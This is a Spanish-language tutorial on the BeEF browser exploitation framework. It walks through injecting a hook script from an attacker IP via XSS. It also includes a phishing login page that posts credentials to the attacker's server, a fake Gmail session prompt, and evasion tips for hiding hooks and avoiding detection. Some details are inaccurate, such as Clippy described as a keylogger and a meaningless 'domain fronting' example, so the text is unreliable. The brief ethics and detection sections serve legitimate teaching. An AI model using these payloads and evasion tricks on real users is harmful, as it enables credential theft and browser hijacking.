🐂 BeEF - Browser Exploitation Framework


🎯 Introducción

¿Qué es BeEF?

BeEF (Browser Exploitation Framework) es una herramienta de penetration testing enfocada en explotar vulnerabilidades web a través del navegador del cliente. Permite controlar navegadores web comprometidos y realizar diversas técnicas de explotación desde el lado del cliente.

¿Para qué sirve?

  • Post-explotación web: Una vez que se compromete un navegador
  • Social Engineering: Crear ataques dirigidos a usuarios
  • Demonstración de vulnerabilidades: Mostrar el impacto real de XSS
  • Red Team Operations: Simular ataques APT reales

Contextos de uso

  • Auditorías de seguridad web
  • Pruebas de penetración
  • Educación en ciberseguridad
  • Evaluación de la conciencia de seguridad del usuario

⚙️ Instalación y Configuración

Instalación en Kali Linux

# BeEF viene preinstalado en Kali Linux
sudo apt update
sudo apt install beef-xss
 
# Instalar dependencias adicionales
sudo gem install bundler

Configuración inicial

# Navegar al directorio de BeEF
cd /usr/share/beef-xss
 
# Configurar credenciales (archivo config.yaml)
sudo nano config.yaml

Configuración básica

  • Usuario por defecto: beef
  • Contraseña por defecto: beef
  • Puerto web: 3000
  • Puerto hook: 3000/hook.js

🚀 Guía Práctica de Uso

Sintaxis básica

# Iniciar BeEF
sudo beef-xss
 
# Iniciar con configuración específica
sudo beef-xss -c /path/to/config.yaml

Parámetros y opciones comunes

ParámetroDescripciónEjemplo
-cArchivo de configuración personalizadobeef-xss -c custom.yaml
-xDeshabilitar extensionesbeef-xss -x
-vModo verbosebeef-xss -v
-dModo debugbeef-xss -d

Flujo de trabajo típico

flowchart TD
    A[Iniciar BeEF] --> B[Acceder Panel Web]
    B --> C[Obtener Hook JS]
    C --> D[Inyectar Hook en objetivo]
    D --> E[Víctima ejecuta JS]
    E --> F[Navegador comprometido]
    F --> G[Ejecutar módulos]
    G --> H[Post-explotación]

💻 Ejemplos Prácticos

Ejemplo 1: Configuración básica y primer hook

Escenario básico

Comprometer un navegador mediante XSS stored en una aplicación web vulnerable

# 1. Iniciar BeEF
sudo beef-xss
 
# 2. Acceder al panel de administración
# http://localhost:3000/ui/panel
# Usuario: beef / Contraseña: beef

Payload para inyectar:

<script src="http://[TU_IP]:3000/hook.js"></script>

Ejemplo 2: Ataque de phishing interno

Crear una página de phishing

Redirigir a los usuarios a una página falsa para capturar credenciales

// Módulo: Create Invisible Iframe
// URL objetivo: http://interno.empresa.com/login
 
// Configuración del módulo
{
  "url": "http://[TU_IP]/phishing.html",
  "width": "100%",
  "height": "100%"
}

Página de phishing (phishing.html):

<!DOCTYPE html>
<html>
<head>
    <title>Login Corporativo</title>
</head>
<body>
    <form action="http://[TU_IP]:3000/capture" method="POST">
        <input type="text" name="username" placeholder="Usuario">
        <input type="password" name="password" placeholder="Contraseña">
        <button type="submit">Iniciar Sesión</button>
    </form>
</body>
</html>

Ejemplo 3: Keylogger y captura de información

Capturar pulsaciones de teclado

Instalar un keylogger en el navegador comprometido

# En el panel de BeEF:
# 1. Seleccionar navegador comprometido
# 2. Ir a Commands > Input
# 3. Ejecutar "Pretty Theft"
 
# Configuración Pretty Theft:
{
  "sitename": "Gmail",
  "message": "Su sesión ha expirado. Ingrese sus credenciales:"
}

🛠️ Módulos Principales

Módulos de Información

MóduloFunciónUso
Get CookieCaptura cookiesObtener tokens de sesión
Get Page HTMLObtiene HTML completoAnálisis de contenido
Detect SoftwareDetecta software instaladoReconocimiento

Módulos de Explotación

MóduloFunciónUso
Pretty TheftPhishing convincenteCaptura credenciales
ClippyKeylogger avanzadoCaptura pulsaciones
Internal Network FingerprintingEscaneo de red internaReconocimiento de LAN

Módulos de Persistencia

MóduloFunciónUso
Create Invisible IframeMarco invisibleMantener conexión
Man-in-the-BrowserInterceptar tráficoManipular requests

🎯 Tips y Buenas Prácticas

Optimización de uso

  • Usa HTTPS: Configura certificados SSL para evitar detección
  • Cambia puertos: No uses los puertos por defecto
  • Personaliza hooks: Modifica el código JS para ser menos detectable
  • Rotación de IP: Usa múltiples direcciones IP si es posible

Errores comunes

  • No configurar firewall: Asegúrate de que los puertos estén abiertos
  • Hooks visibles: El hook puede ser detectado en el código fuente
  • Falta de persistencia: Los hooks se pierden al recargar la página
  • Detección por antivirus: Algunos AV detectan los módulos de BeEF

Configuración avanzada

# config.yaml - Configuración personalizada
beef:
    version: '0.5.3.0'
    debug: false
    crypto_default_value_length: 80
    
http:
    debug: false
    host: "0.0.0.0"
    port: "3000"
    
https:
    enable: true
    host: "0.0.0.0"
    port: "3443"

Bypass de detección

Técnicas de evasión

// Hook ofuscado
var s=document.createElement('script');
s.type='text/javascript';
s.src='http://[IP]:3000/hook.js';
document.head.appendChild(s);
 
// Hook con dominio legítimo (domain fronting)
var s=document.createElement('script');
s.src='https://cdn.jquery.com/beef.js';
document.head.appendChild(s);

🔒 Consideraciones de Seguridad

Uso ético

  • Solo en entornos autorizados: Nunca usar sin permiso explícito
  • Documentar todo: Mantener registros de las pruebas realizadas
  • Limpiar después: Remover hooks y payloads tras las pruebas
  • Informar vulnerabilidades: Reportar hallazgos de manera responsable

Detección y mitigación

Cómo detectar BeEF

  • Monitorear conexiones a puertos 3000/3443
  • Buscar archivos hook.js en el tráfico
  • Analizar requests POST sospechosos
  • Implementar CSP (Content Security Policy)

📚 Recursos Adicionales

  • Documentación oficial: Framework BeEF GitHub
  • Módulos personalizados: Desarrollo de extensiones
  • Integración con Metasploit: Combinar con otras herramientas
  • OWASP WebGoat: Entorno de práctica seguro